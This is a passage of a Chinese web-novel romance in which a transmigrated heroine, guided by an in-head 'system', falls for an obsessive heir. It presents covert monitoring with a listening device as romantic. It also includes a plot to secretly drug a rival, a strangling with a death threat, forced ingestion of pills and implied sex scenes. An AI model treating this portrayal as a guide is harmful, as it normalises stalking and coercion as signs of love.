是她前几天看直播时被种草的,因为价格太高一直没舍得下单。 还有一盒限量款的蛋糕。 是她昨天和朋友聊天时顺口提了一句想吃。 还有气泡水…… 每一样,都是她想要的。 心像是被浸染到暖流里。 空气中是他身上甜腻的香味。 他真的在看着她…… 一直在看着她…… 她扑到了时卿舟怀里。 “阿卿……阿卿……” 她的脸埋在他胸口,声音闷闷的,带着撒娇的鼻音。 时卿舟身体僵了一下,呼吸似乎也凝滞了一下。 随即放松下来,伸手回抱住她。 他低下头,鼻尖是她发间的馨香。 很好。 她来了。 她主动地,奔向了他。 他的手掌轻轻抚摸着她的背。 随即,他好像是感觉才发现她姿势的不对劲。 “你的脚怎么了?” 时卿舟扶着她的肩膀,让她站直,低头看向她的脚踝。 那里有些红肿。 孟昭月无辜的眨了眨眼,然后软软道: “下楼的时候不小心,就崴了一下。” 撒谎。 时卿舟的眸子深了些。 但他没有再问。 下一秒,他直接弯腰,手臂穿过她的膝弯,将她打横抱了起来。 孟昭月下意识地搂住他的脖子。 他的手臂很有力,抱着她毫不费力。 就在她调整姿势的时候,腰间的软肉被他不轻不重地掐了一下。 “!!!” 孟昭月身体一麻,抬头看时卿舟。 却只看到他凝着自己,神情依旧温柔。 这个坏人! 回到公寓。 时卿舟抱着她,从他兜里掏出钥匙,轻易地打开了她家的门。 他将她轻轻地放在客厅的沙发上。 然后从那个购物袋里拿出一管药膏。 “把脚伸出来。” 孟昭月乖乖地把受伤的左脚搭在沙发边缘。 她看着他手中的药膏,有些好奇地问: “阿卿,怎么这么巧,你还买了药呀?” 时卿舟拧开药膏盖子的动作停顿了一下。 他抬起头,黑色的眼睛看着她,像是墨一样。 “嗯,确实很巧。”他脸上没有多余的表情。 孟昭月看着他。 他的眼睛很漂亮,里面清晰地映着她的样子。 她歪了歪头,然后甜甜的笑了笑,声音软软的。 “既然阿卿说好巧,那就是好巧啦。” 她毫无保留的相信。 或者说,她享受这种被安排好一切的感觉。 时卿舟没再说话,他蹲下身,挤出透明的药膏。 然后轻轻地涂抹在她红肿的脚踝上。 他的动作很轻,很专注。 她能感觉到,他的手指慢慢推开药膏,打着圈。 指腹的薄茧,和皮肤的温度。 药膏的气味散开,带着清凉的草药味。 好像有些热了。 孟昭月忍不住缩了缩。 却被时卿舟握紧了脚踝。 然后他的手沿着她的皮肤慢慢往上,擒住了她的小腿。 时卿舟的手很大,一只手就能完全握住她的小腿。 “擦药时别乱动。” 时卿舟抬眼看她。 孟昭月似乎看到他喉结滚动了一下。 然后她看到他再次低下头,一个轻柔的吻,落在了她的膝盖上。 孟昭月的身体猛地一颤。 她能感觉到他微凉的唇瓣贴在皮肤上的触感。 “阿卿……” 她下意识地开口。 他没有抬头,只是轻轻蹭着她的膝头。 孟昭月看着他低垂的头,黑色的短发柔软地搭在额前。 时卿舟看起来……很乖。 像一只大型的、正在向主人撒娇的犬科动物。 一个念头忽然冒了出来。 她伸出手,轻轻地,摸了摸他的头。 ----------------------------------- 第8章 我在等他的选择 他的头发很软,手感很好。 孟昭月弯起眼睛,露出了一个甜美的笑容。 “时卿舟要只爱孟昭月哦” 她的声音软软的。 只爱我一个,永远。 时卿舟磨蹭的动作停住。 空气仿佛凝固了。 这一瞬间他的大脑里闪过了很多念头。 疯狂的、扭曲的。 他下意识的收紧了握着孟昭月小腿的手。 她根本不知道…… 她根本不知道她对他意味着什么。 疯念被他死死的压下。 最后他抬头看向孟昭月,一如既往的温柔。 只是那双漂亮的桃花眼里。 翻涌着某种孟昭月看不懂的东西。 他的嘴唇动了动,声音因为极度的压抑而显得有些沙哑。 “我只爱你。” 昭是太阳,月是月亮。 她是他的太阳,是他的月亮。 孟昭月……是他的天。 时卿舟沙哑的声音还在耳边,孟昭月脑海里的系统却尖叫了起来。 【假的!】 【都是假的!】 奶声奶气的声音因为激动而有些破音。 【宿主!你不要被他迷惑了!】 【就算他现在表现得再深情,他最后还是会选择孟婉凝!】 【我再强调一遍!】 【三天后!晚宴!】 【他一定会对爱上孟婉凝!爱上女主角!】 【这是命中注定!】 【到时候他的爱,就属于孟婉凝一个人!】 【而你执迷不悟,最后只会被烧死!】 【快去攻略男主!那才是正事!】 孟昭月在心里安静地听着。 “可是我不想攻略孟廷凛的啊。” 【为什么??】 “孟廷凛帮着别人说话,我不喜欢他。” 她的话语带着孩子气一般。 “时卿舟帮我说话,我喜欢他。” “就这么简单。” 【你、你这是恋爱脑!】系统气急败坏。 “不是哦。” 孟昭月看着眼前男人。 他高大的身影正跪在沙发边,仰望着自己。 看起来多么乖…… “我只是……想要一个永远选择我的人” 她在孤儿院里呆了十多年,看尽了人情冷暖。 她比谁都明白,“被选择”是一件多么奢侈的事情。 “所以……” “我在等。” “等三天后。” “等他的选择。” 她心里想着,忽然凑上前,在时卿舟的嘴唇上亲了一下。 很轻,很软。 然后,她退开一点距离,弯起眼睛,露出了一个比糖还要甜的笑容。 “最喜欢阿卿了。” 轰—— 有什么东西,在时卿舟脑子里彻底炸开了。 他的瞳孔骤然缩紧。 简直是……要命了。 他再也压不住了。 下一秒,时卿舟猛地扣住了孟昭月的后颈。 他反客为主,用一种近乎啃噬的力道,狠狠地吻住了她的嘴唇。 孟昭月被他突如其来的动作惊得唔了一声。 她的身体被一股巨大的力量推倒在柔软的沙发里。 时卿舟顺势压了上来,高大的身躯将她完全笼罩。 他的吻很深,很重,像是要把她整个人都吞进肚子里。 孟昭月在只能发出细碎的呜咽。 空气很快被掠夺干净。 在亲吻的间隙,她终于找到一丝喘息的机会,断断续续地开口。 “对……对不起,阿卿……” “你送的……裙子……我没能拿回来……” 她指的是那件被孟廷凛丢掉的黑色礼服。 时卿舟的动作没有停下。 他的一边吻着她一边模模糊糊的说。 “乖宝……没事的……” 他的声音贴着她的唇瓣。 “明天,我们去买很多很多新的。” “现在……” 衣物摩擦的声音响起。 “我们有更重要的事情要做。” 裙子与外套掉杂糅着落下。 沙发旁的小几上,那支刚刚用过的药膏被撞到了地上。 在柔软的地毯上滚了几圈。 客厅的灯光,不知在什么时候,被撞得明灭了一下。 最终,彻底熄灭。 只剩下城市的霓虹,透过窗户,在墙壁上投下纠缠的光影。 第9章 清珩,我一直都很看好你 第二天,孟家庄园。 清晨的阳光穿过薄雾洒落在花厅的玻璃房中。 空气里满是植物和泥土的清新气息。 露珠在盛开的玫瑰花瓣上滚动。 孟婉凝穿着一身剪裁合体的米色长裙,正拿着剪刀。 慢条斯理地修剪着一株开得正盛的香槟玫瑰,然后轻轻插到花瓶里。 口袋里的手机震动了一下,她放下剪刀,拿出手机看了一眼来电显示。 是时费。 时卿舟的父亲。 孟婉凝的嘴角勾起一个得体的、恰到好处的弧度。 “时伯父,早上好。” “是婉凝啊。” 电话那头传来一个中年男人爽朗的笑声。 “没有打扰到你吧?” 她接起电话,声音温婉柔和。 “您说笑了。” 孟婉凝的声音里带着晚辈的恭敬。 “之前我的剧本的一些版权纠纷,还是多亏了卿舟出手解决。” “现在能接到您的电话,是我的荣幸。” 她唤时卿舟唤得亲近。 “哈哈哈,你这孩子,就是会说话。” 时费的心情听起来很不错,却没对版权的事情进行评价。 “对了,你父亲出差回来了吗?”时费话锋一转。 “上次他和我提了你的新剧本的投资计划。” “我看过方案,很不错。” “谢谢伯父的肯定。”孟婉凝的声音愈发柔和。 “父亲常说,能得到时伯父的认可,是他事业上最大的肯定。” 几句商业互吹之后,孟婉凝状似无意地叹了口气。 “其实,我有时候也很羡慕父亲。” “能有像时先生那样出色的商业伙伴。” “就像时家这样的家族未来的女主人……” “必定也是一位有教养、有才华、能真正辅佐事业的贵女吧。” 时费在电话那头笑了起来。 “婉凝啊,你说的对。” “卿舟那个孩子,是该有个体贴的知心人,让他收心的。” 他意有所指地说道。 孟婉凝嘴角的笑容更深了。 又寒暄了几句,她才挂断电话。 孟婉凝将手机放回口袋,拿起剪刀,剪下了一朵开得最美的玫瑰。 她将花凑到鼻尖,轻轻嗅着。 她何必自降身价去和孟昭月争抢? 从父辈的上位压制就好了。 她一转身,就看到了站在不远处小径上的顾清珩。 他似乎已经站了有一会儿。 少年还是那副样子,穿着洗得有些发白的T恤。 看到她望过来,他的身体下意识地缩了一下,眼神躲闪。 “婉凝姐。”他低声打招呼,声音里带着惯有的怯懦。 “清珩。” 孟婉凝放下花朝他走去。 步伐优雅,裙摆在晨风中轻轻晃动。 “我让你画的画,画得怎么样了?” 她的声音依旧温柔,听不出任何责备。 顾清珩的头垂得更低了。 画被“他”撕了。 “还……还没画好。” “是吗?” 孟婉凝轻轻叹了口气,语气里带着些许失望。 “我以为,你应该早就画好了。” “毕竟,那只是我的侧脸,对你来说应该不难才对。” 她的每一个字都那么轻,那么柔和。 却让顾清珩的身体绷得更紧了。 “我记得,你刚来孟家的时候,连像样的画具都买不起。” 孟婉凝伸出手,帮他理了理有些凌乱的衣领,动作亲昵又自然。 “是我看你可怜,才求爸爸让你住下来。” “我给你买了最好的画具,还支持你继续学画画。” 她的声音压得很低,像情人间最亲密的耳语。 “清珩,我一直都很看好你。” “不要让我失望。” 顾清珩的脸色变得有些苍白,他抓着画板的手指用力到泛白。 “我……我会尽快画好的。”他承诺道。 “我相信你。”孟婉凝满意地笑了。 她从随身的手包里,拿出一个小盒子递到他面前。 “对了,还有一件事需要你帮忙。” 顾清珩愣愣地看着那个盒子,没有伸手去接。 “这是什么?” “一些……能让人放松下来的东西而已。” 孟婉凝的语气很随意。 “你帮我,找个机会让她吃了。” 顾清珩犹豫着,没有伸手去接。 孟婉凝也不催促,只是静静地看着他。 花园里很安静,只有微风拂过花丛的沙沙声。 过了很久,顾清珩才颤抖着伸出手,接过了那个药盒。 “好。”他听到自己说。 “真乖。” 孟婉凝满意地笑了。 她收回手,转身走向旁边的一丛茉莉花。 她摘下一朵开得正好的茉莉,别在自己的发间。 纯白的花瓣衬得她愈发温婉动人。 她侧过脸,对着顾清珩露出一个完美的微笑。 “你看,这花是不是很适合晚宴?” 说完,她便转身,迈着优雅的步伐离开了花园。 顾清珩站在原地,直到孟婉凝的身影彻底消失。 他低头,看着怀里那个精致的盒子。 他慢慢地,打开了它。 里面是一排小小的白色药片,没有任何标识。 他的身体开始无法控制地颤抖。 他知道,孟婉凝让他做的事,绝对不是什么好事。 可他不敢拒绝,他的一切,都是她给的。 他的手紧紧地捏住了那个盒子。 突然,他的身体猛地一颤。 那双原本怯懦眼睛里,有什么东西,正在悄然改变。 一种冰冷的、锐利的情绪,从眼底深处浮现出来。 他再次低头,看着自己摊开的手掌。 掌心里是那个白色的药盒。 一个冰冷的声音,在他自己的脑海里,清晰地响起。 “不准做。” 那个声音说,带着冷漠的警告。 “你敢动她一下试试。” “废物。” …… 另一边。 时卿舟如约带着孟昭月买礼服。 迈巴赫S680普尔曼平稳地行驶入拉法叶Artium专属通道。 车内安静得只能听见空调系统运作的微弱声响。 孟昭月像只猫一样靠在真皮座椅上,打着呵欠。 身体懒洋洋的,提不起什么精神。 腰很酸,腿也很软。 ----------------------------------- 第10章 拉链拉不上 她看了一眼正在耐心帮她整理头发的时卿舟。 对方注意到她的目光,对她温温柔柔的笑了笑。 他的月月,真可爱。 孟昭月撇了撇嘴,在心里小声抱怨。 时卿舟这家伙,平时看着温温柔柔的。 一到床上就跟失控了一样。 完全不知道节制两个字怎么写。 昨晚把她折腾得够呛。 【宿主,你要这么想。】 系统奶声奶气的声音突然在她脑海里响起。 【根据原著,未来反派可是要对女主强取豪夺的。】 【这身体素质要是不够好】 【怎么能支撑得起那些酱酱酿酿的剧情呢?】 孟昭月:“……” 她震惊地在心里反问: “你、你昨天晚上不会一直在围观吧?” 【怎么可能!】 系统的声音立刻提高了八度,听起来很委屈。 【本系统是正经的少儿频道!】 【检测到涉及宿主隐私的场景,都会强制关机的!】 【我什么都没看到!】 那就好。 孟昭月松了口气。 车子最终在专属停车位停在了下来。 这里是顶级奢侈品牌的聚集地,车门被司机恭敬地打开。 时卿舟牵着她的手,走进了Valentino的店铺。 店里并没有其他客人。 与其说是店,不如说更像一个私密的艺术沙龙。 穿着精致套装的品牌经理早已等候在门口。 看到时卿舟,立刻躬身行礼。 “时先生,下午好。” 他们被引着穿过店铺,来到一间装潢典雅的私人接待室。 房间里摆着柔软的沙发。 桌上放着Perrier-Jou?t香槟和精致的法式甜点。 几排衣架上,挂着十几件当季最新的高级成衣礼服。 “时先生,因为时间比较赶,高级定制来不及。” “这几件都是我们从巴黎空运过来的最新款成衣。” “都是全球都只有一件。” 经理微笑着介绍。 “月月,看看喜欢哪件。” 时卿舟的声音在她耳边响起。 孟昭月走到衣架前,目光在一件件华美的礼服上扫过。 每一件都很漂亮。 她的目光最后落在一件黑色的长裙上。 唯一的一件。 那件裙子的设计很简约,但剪裁却极为流畅。 裙身上用同色的丝线绣着暗纹,低调而华丽。 “这件怎么样?”她问。 时卿舟不知何时走到了她身边,顺着她的视线看过去。 “很好看。” 他的声音很轻,像是在陈述一个客观事实。 孟昭月点了点头:“就这件吧。” 她觉得自己选了一件最合心意的。 “好的,孟小姐,我带您去试衣间。” 经理立刻上前,小心翼翼地取下那条裙子。 试衣间很大,里面铺着厚厚的长绒地毯,灯光明亮而柔和。 孟昭月换上了那条裙子,尺寸完美得像是为她量身定做。 她转过身,背对着巨大的穿衣镜,伸手去拉背后的拉链。 这条裙子的背面设计得有些特殊。 那是一条从后颈一直延伸到腰际的隐形拉链。 拉链的顶端是一颗小小的、精致的黑曜石扣子。 指尖碰到了冰凉的拉链头,她向上拉。 拉到一半,胳膊就够不到了。 她努力地扭动着手臂,试了好几次,都差那么一点。 正当她有些苦恼时,试衣间的门被轻轻地敲响了。 笃,笃。 “月月?” 是时卿舟的声音,隔着门板传来,温和又有耐心。 “换好了吗?” 他等在外面。 他算着时间,他知道,她差不多该遇到麻烦了。 如他所料。 “还没……”孟昭月有些懊恼地回答。 “是哪里不合适吗?” “不是……是那个拉链,我拉不上去。”她的声音闷闷的。 外面安静了几秒。 然后,她听到他说。 “需要我帮忙吗?” 第11章 这里是外面…… 他的问题很礼貌,很体贴,听不出任何不妥。 她咬了咬下唇,脸颊有些发烫。 怎么感觉被做局了? “你……你进来吧。” 孟昭月的声音很小,但还是落在了门外的人耳中。 门锁发出“咔哒”一声轻响。 门被推开了一条缝。 时卿舟侧身走了进来,然后随手将门关上。 他一进来,空间不算小的试衣间,仿佛瞬间变得拥挤起来。 空气里充满了他的气息。 像是浓稠的蜜一般,带着一丝若有若无的压抑。 他的目光几乎是将她全身上下舐过。 “我的月月,穿什么都好看。” 孟昭月的心跳漏了一拍。 然后时卿舟才带着笑意开口,声音一如既往的温和。 “转过去。” 孟昭月像是被蛊惑了一样,听话地转过身,背对着他。 她能从面前巨大的穿衣镜里,看到他的一举一动。 他向她走近,他身上的气息更加浓稠了。 然后,她感觉到了一阵微凉的触感。 是他的指尖,碰到了她裸露的后背。 孟昭月的身体下意识地僵了一下。 他的手指很修长,指腹带着薄茧,触感清晰。 他没有立刻去碰那个拉链头。 而是先用手指,将她散落在背上的一缕长发拨开。 指尖划过皮肤,带来一阵细微的痒意。 “别动。” 他的声音很近,就在她耳后响起,温热的气息拂过她的耳廓。 孟昭月乖乖地站着不动了。 她在镜子里看着他。 他的神情很专注,好像只是在做一件再普通不过的事情。 那双黑色的眼睛垂着,视线落在她的背脊上。 他开始向上拉,动作很慢,很稳。 拉链的齿扣啮合的声音,在安静的房间里被放大了无数倍。 每向上移动一寸,她的心跳就跟着快一分。 她能清晰地感觉到,他的指关节,正随着拉链的移动。 一点一点地,向上抚过她的脊椎骨。 从腰际,到肩胛,最后,停了下来。 孟昭月以为终于结束了。 然而,并没有。 他没有去扣那颗黑曜石的扣子。 而是低下头,一个轻柔的吻,落在了她后颈的皮肤上。 “!!!” 孟昭月的身体猛地一颤。 她能清晰地感觉到皮肤上湿热的触感。 “时卿舟……” 她下意识地开口,声音已经带上了哭腔。 他没有理会。 他像是品尝什么美味的甜点一样。 细细地吻着她的后颈。 他的手也按住了她的腰。 “别……这里是外面……”孟昭月下意识的想要躲开。 时卿舟低沉的声音在她耳边响起: “嘘……那就悄悄地……” …… 过了一会儿。 时卿舟带着孟昭月从试衣间里走了出来。 她的脸颊还带着未褪的红晕,走路的姿势有些不自然。 但身上那件黑色的礼服已经穿戴得整整齐齐。 果然是被做局了。 难怪她还疑惑为什么只有一条黑色的裙子。 他知道她弄丢了原来那条,一定会选黑色的。 孟昭月幽怨的看了时卿舟一眼。 却获得了一份对方温柔、带着明显愉悦的微笑。 品牌经理脸上带着职业化的、无可挑剔的微笑迎了上来。 对刚才试衣间里过长的时间没有提一个字。 “孟小姐穿上这件裙子真是太美了。” 她由衷地赞叹。 “恰好,我们品牌方有一个小小的活动。” 经理从助手手中接过一个精致的丝绒盒子,打开。 里面静静地躺着两支造型古典、由巴卡拉水晶打造的香水瓶。 瓶身上用黄金和钻石镶嵌出繁复的藤蔓花纹。 “这是我们与Barat合作推出的‘les larmes sacrées de thebes’限定对香。” “意为‘底比斯圣泪’,象征着矢志不渝的爱情。” “我们可以为二位提供私人定制服务。” “在这对香水瓶上刻上两位的名字。” “作为永久的纪念。” 经理的视线在时卿舟和孟昭月之间流转,笑容愈发真诚。 “之后会派专人将礼物送到府上,不知地址……” 她递过来一支万宝龙的钢笔和一张印有品牌logo的卡片。 孟昭月接过笔,脸颊还是热的。 刻上两个人的名字,永远在一起。 她的心底泛起一阵甜意。 她正填写着花禾公寓的地址,时卿舟的手机突然响了。 他拿出手机看了一眼,接了起来。 “说。”他的声音很平淡。 电话那头是姜玦的声音。 因为距离近,孟昭月隐约听到了几个字。 “……追踪……” “……孟婉凝……” 孟昭月握着笔的手,停住了。 时卿舟看了她一眼,那双黑色的桃花眼里情绪不明。 然后,他拿着手机,转身朝接待室的露台走去。 将她和那些声音隔绝开。 【听到了吧?】 系统兴奋的声音在孟昭月脑海中响起。 【我就说嘛!】 【反派的病娇属性,终于对女主角显现了!】 【跟踪诶!】 【为了掌握心上人的一举一动而进行的全方位监控!】 【不愧是疯批反派!】 【超带感!】 奶声奶气的声音里充满了磕到CP的兴奋。 【我就说他对女主才是真爱!】 【你看,他都不在你面前说!】 【对你的那些监视,不过是小打小闹的预演罢了!】 孟昭月没有说话。 她只是静静地站在那里,看着时卿舟站在露台上的背影。 他很高,很挺拔,像一棵不会被任何风雨撼动的树。 可是……追踪孟婉凝? 她知道,时卿舟采取了某种手段在监视她。 她享受这种感觉。 因为她觉得,自己是独一无二的。 这份偏执的、绝对的爱,是只属于她一个人的。 可现在,这份唯一性,好像被打破了。 原来,他也会去监视别人。 用同样的方式。 那她,和孟婉凝,又有什么区别? 她是不是,也只是他众多监控目标里的一个? 心脏像是被一只无形的手攥紧了。 传来一阵细密的、迟钝的痛感。 她低头看着手中的卡片。 那支沉甸甸的钢笔,笔尖悬在地址栏的上方。 最后孟昭月的笔落下,填上了花禾公寓的地址。 昨天他很乖。 所以再给他一次机会。 明天的晚宴…… 一定要选她呀。 时卿舟。 第12章 他去做什么了? 时卿舟电话打了有一会。 孟昭月坐在柔软的沙发上,无意扫到最新的财经杂志。 一条新闻的标题吸引了她的注意。 【华国经金局突击检查,审计组已正式进驻星辉融资】 星辉融资? 孟昭月记得,这好像是孟家的重要关联企业之一。 看来,孟廷凛最近有得忙了。 想到孟廷凛,她心里咯噔一下,有些心虚。 她从黑名单里,把那个备注着“小叔”的号码放了出来。 果然,几十条未读信息和未接来电弹了出来。 最新的几条信息,措辞严厉。 「孟昭月,给你一个小时,滚回来。」 「别逼我用别的方式请你。」 「晚宴你最好给我准时出现,否则后果自负。」 每一个字都透着命令和隐隐的威胁。 孟昭月缩了缩脖子,赶紧又把号码拖回了黑名单。 眼不见为净。 这时朋友圈新的动态跳了出来。 是孟婉凝发的。 配图是一张精心拍摄的自拍。 照片里,孟婉凝穿着白色新款礼服,长发柔顺地披在肩上。 发间别着一朵含苞待放的白色茉莉。 她侧着脸,对着镜头露出一个恬静的微笑,眼神干净又温柔。 文案写着: 「盛装出席,只为与你的正式见面。」 「期待今晚的宴会。」 孟昭月看着那朵茉莉花,心里有些不舒服。 这时,露台的玻璃门被拉开。 时卿舟走了回来。 他脸上的神情温和,看不出任何异常。 “事情处理好了?”孟昭月放下手机,抬起头看他,声音软软的。 “嗯,一点小事,已经解决了。” 时卿舟走到她身边坐下,自然地握住她的手。 他的手心很暖。 “是……什么事呀?”孟昭月状似无意地问。 她看着他的眼睛,试图从中找到一丝破绽。 “公司的一些数据问题。” 时卿舟回答得滴水不漏。 “让你久等了。” 孟昭月安静了几秒。 然后,她换了个话题,声音依旧甜糯。 “阿卿,你之前……是不是帮过孟婉凝什么忙呀?” 时卿舟握着她的手,力道没有任何变化,脸上的温柔笑意也依旧。 孟婉凝。 剧本。 版权。 这些词在他的脑海里瞬间闪过。 昨天在孟家庄园时,孟婉凝向孟昭月提到过。 他在监听器里听到了。 时卿舟脸上的笑意愈发浓了。 他的月月为他吃醋了呢。 他暂时没查清楚,为什么孟婉凝会觉得他帮过她。 他没帮过她。 他怎么可能会去帮孟婉凝。 他的所有精力,他的一切。 都只属于孟昭月。 “没有。” 他的回答迅速而坚定,没有任何犹豫。 “我甚至不认识她。” “为什么这么问?” 他反问,桃花眼里带着恰到好处的困惑。 孟昭月看着他。 他的表情那么真诚,他的否认那么干脆。 孟昭月眨了眨眼。 没有回答时卿舟的问题。 只是反手握住他的手,身体向他那边凑了凑。 仰起脸,声音带着撒娇的意味。 “知道啦。” 她说。 没有追问,没有质疑。 时卿舟看着她脸上甜甜的笑容。 可爱。 他心头一动。 没忍住,俯下身,在她的唇上亲了一下。 …… 海筵大厦的顶层宴会厅。 慈善晚宴。 施华洛世奇水晶吊灯从穹顶垂下,侍者们端着托盘穿梭在人群中。 香槟酒杯的碰撞声,与顶级香水的气味混合。 这里是一个巨大的名利场。 每一个微笑,每一次举杯,背后都是一场利益的交换 当宴会厅厚重的描金大门被再次推开时。 喧闹的声场出现了一个短暂的停顿。 时卿舟走了进来。 他穿着一身剪裁精良的高定西装,没有打领带,衬衫最上面的扣子随意地解开。 而孟昭月则挽着他的手臂,乖巧的跟着他。 “是他……时家那位……” “他怎么来了……” “他身边那个女孩是谁?没见过。” “居然跟这个疯子一起……太可怜了……” 被压低的细碎议论声从四面八方传来。 那些看向时卿舟的目光,大多带着敬畏。 甚至还有一丝掩饰不住的恐惧。 孟昭月听到议论声后,有些不解:她哪里可怜了嘛? 孟昭月的眼睛在人群中搜寻了一圈。 没有孟廷凛,也没有孟婉凝,孟家的一个人都没看到。 她有些疑惑。 “在找孟家人?”时卿舟的声音从身旁传来。 孟昭月点了点头。 “他们今晚不会来了。”时卿舟的语气很平淡。 “星辉融资的资金链断了。” “他们空转流水做账发债,被曝光了,金融机构抽贷。” “现在审计组也已经进驻,孟廷凛自顾不暇。” 孟昭月安静地听着,没有说话。 她昨天在财经新闻上看到过。 只是没想到这么严重,搞不好就成非法集资了。 孟廷凛自顾不暇。 那孟婉凝呢? 她发的朋友圈明显是要来参加宴会的。 【怎么会这样?】 系统奶声奶气的声音在她脑海里响起,充满了不解。 【剧情不是这样的啊!】 【孟家的人应该会来啊!】 【女主孟婉凝就是在这里第一次和反派见面的!】 【这不对劲!】 系统似乎陷入了某种逻辑混乱。 过了一会儿,它才强行给自己找了个理由。 【我知道了!】 【见面不一定是在大厅里!】 【说不定是在走廊!】 【或者某个私密的包房里!】 【对!一定是这样!】 时卿舟带着孟昭月应酬了好几个前来攀谈的人。 孟昭月敏锐的感觉到,这些人对待他态度很奇怪。 巴结,还有被藏起来的恐惧。 突然,时卿舟看向了不远处,几不可察地点了点头。 之后替她拿了一杯果汁,放到她手中。 “乖乖,在这里等我一下。” 他安抚地摸了摸她的头。 “我去处理点事,马上回来。” 孟昭月乖巧地点了点头:“好。” 他的背影很快就消失在了人群中。 孟昭月端起果汁,小口地喝着,看向时卿舟刚刚看的方向。 什么都没看到。 他去……做什么了? 第13章 我们才是同一个世界的人? 海筵大厦,包间。 与楼上宴会厅的衣香鬓影不同。 这里的气氛压抑到了极点。 顾清珩蜷缩在角落的地毯上。 他脸上青一块紫一块,嘴角带着血迹,呼吸微弱。 孟婉凝则被两个黑衣保镖按在一张扶手椅上。 她身上穿着那件精心准备的白色礼服。 裙摆刚刚因为挣扎而起了褶皱。 她发间别着朵纯白的茉莉花,已经有松散了。 孟婉凝看了一眼地上的顾青珩。 他为了保护她,才被打成这样。 真是的…… 怎么这么不中用! 明明前世孟昭月被绑架时,他都能护住孟昭月。 直到时家出动私人武装,才从顾青珩手上把孟昭月绑走。 现在怎么几个保镖都处理不了? 孟婉凝嫌弃地移开了目光。 门锁的声音响起。 随着门被推开,时卿舟和姜玦走了进来。 “你是……” 看清来人时,孟婉凝的眼睛里闪过惊艳。 这是她第一次这么近距离看见时卿舟本人。 比她想象中……还要好看。 危险,却又吸引人。 孟婉凝的心跳快了几分。 时卿舟的目光落在了孟婉凝的脸上。 昏暗的灯光下,他右眼下的浅疤却格外明显。 “孟小姐。” 他的声音很轻。 “为了能单独请你过来,绕开孟廷凛的眼线,还真是不容易。” 孟婉凝的心跳了跳,莫名有股寒意。 “时先生,我不明白你的意思。” 她维持着声音的平稳及温和。 “若是你对我感兴趣,大可不用这样。” 时卿舟动作顿了顿,似乎有些疑惑。 她是怎么得出来“他对她感兴趣”的结论的? 一旁的姜玦听到这句话,也没忍住看了孟婉凝一眼。 怎么说呢,挺自信的。 时卿舟不再和她多费口舌。 他扫了一眼地上的顾青珩。 然后从口袋里拿出一个东西,随手抛在了孟婉凝面前的茶几上。 一个白色的小药盒。 孟婉凝的瞳孔骤然缩紧。 这是她给顾清珩的那个盒子。 “你……” 她的笑容有些僵硬。 “你怎么会……” 时卿舟没有回答她的问题,只是说: “孟小姐,警告你,收起你的小动作。” 孟婉凝深吸一口气,强迫自己冷静下来。 她才是这个世界的女主角。 是唯一能让他失控的人。 想到这里,她心底的惊恐褪去。 取而代之的是一种胜券在握的自信。 “时先生。” 她冲着男人露出了一个完美的、得体的微笑,眼神干净而无辜。 “我想我们之间或许有些误会。” “没有必要把事情闹得这么僵硬。” 她的声音温婉动听。 “我知道,你对我那个妹妹很好。” “我能理解,她看起来确实很需要人保护。” “但是……” 她话锋一转,眼神里透出自信。 “像你这样的人,为什么不选择一个更适合的伴侣呢?” 她没有明说那个人是谁。 但她的意思,再明显不过。 时卿舟挑眉看着孟婉凝。 “那孟小姐觉得,什么样的人,才配得上我?” 他不咸不淡地问。 孟婉凝以为自己的话起了作用,连忙道。 “一个可以帮你巩固在时家的地位的女人。” “一个可以为你的事业提供助力的伙伴。” “而不是一个在孤儿院长大、空有一张脸,需要人时时保护的菟丝花。” 她语调优雅。 “时先生,我们才是同一个世界的人,不是吗?” 时卿舟安静地听着,脸上的神情没有变化。 直到她说完。 他才缓缓开口,声音依旧温和。 “同一个世界?” 他重复了一遍这个词,然后轻笑出声。 “你是指……” “给你妹妹下春药,还是……” “是像你这样,一边吊着孟廷凛,一边算计着顾清珩,还想来勾引我吗?” 他每说一字,孟婉凝的脸色就白一分。 “至于助力……” 时卿舟的身体微微前倾。 黑色的眼睛里是毫不掩饰的嘲弄。 “我时卿舟,什么时候沦落到……” “需要一个看不清局势、自以为是的棋子,来给我提供助力?” “你……” 孟婉凝脸上得体的面具终于彻底碎裂。 “你以为你算什么?” 孟婉凝恼羞成怒。 “你不过是时家一个上不得台面的私生子!” “你真以为孟昭月是真心喜欢你吗?” “别傻了!” “她那种女人,水性杨花,谁对她好就跟谁走!” “她今天能跟你在一起,明天就能因为孟廷凛抛弃你!” “像你这种疯子。” “她迟早会害怕,会离开你的!” “她……” 她的话还没说完。 时卿舟脸上的笑容,消失了。 下一秒,他猛地向前。 在所有人都没反应过来的时候,一把掐住了孟婉凝的脖子。 孟婉凝被他从椅子上提了起来,双脚离地。 巨大的力道让她瞬间无法呼吸。 她惊恐地睁大了眼睛,双手徒劳地抓着时卿舟的手腕。 她发间的茉莉花散开,花瓣落了满地。 “你……” “再说一遍。” 时卿舟的声音很低,很冷。 他的眼睛里,是毫不掩饰的、疯狂的杀意。 “你再说一遍,她会怎样?” 第14章 我好像看到天使了 “先生。” 姜玦的声音在旁边响起,带着提醒的意味。 时卿舟的理智回笼了一些。 他眼中的疯狂退去,重新被冰冷的漠然覆盖。 他松开手。 孟婉凝的身体像一具失去支撑的木偶,软软地滑落在地毯上。 她捂着脖子,剧烈地咳嗽,大口大口地呼吸着空气。 眼泪不受控制地流了下来,让她看起来狼狈不堪。 “看在时家和孟家还有合作的份上。” 时卿舟居高临下地看着她,声音里不带任何温度。 “我今天,先不杀你。” “去,把她的药喂给她。” 保镖立刻会意,上前一步,将那个白色的小药盒捡了起来。 他粗暴地捏开孟婉凝的下巴。 将里面所有的药片,都倒进了她的嘴里。 “唔……不……” 孟婉凝剧烈地挣扎,但药片依旧被强行灌了下去。 “你不能这么对我!” 孟婉凝的声音因为哭泣和惊恐而变得嘶哑。 “我父亲不会放过你的!” “时伯父也不会!” “你这么做,会影响你在时家的地位!” 她心有不甘的警告着时卿舟。 “时伯父?地位?” 时卿舟闻言,露出了一个意味深长的笑容。 “嗯,我期待着。” 说完,他没再看她一眼,转身带着姜玦走出了包间。 …… 宴会厅。 孟昭月正站在甜品区。 一个穿着阿玛尼西装的年轻男人,正端着酒杯,挡在她面前,举止轻浮。 男人的身体靠得很近,几乎要贴到她身上。 孟昭月不知吃了些什么,脸颊有些微醺的红晕。 她有些迷茫地看着眼前突然冒出来的男人,无辜的眨了眨眼。 “这位小姐,一个人?” 男人脸上挂着自以为迷人的笑容。 “我叫李伟,我父亲是恒通集团的李兆成。” 孟昭月歪了歪头。 “泥嚎。”她的声音软软的,因酒精的缘故,发音有些不稳。 “小姐,有没有兴趣,跟我去那边喝一杯?” 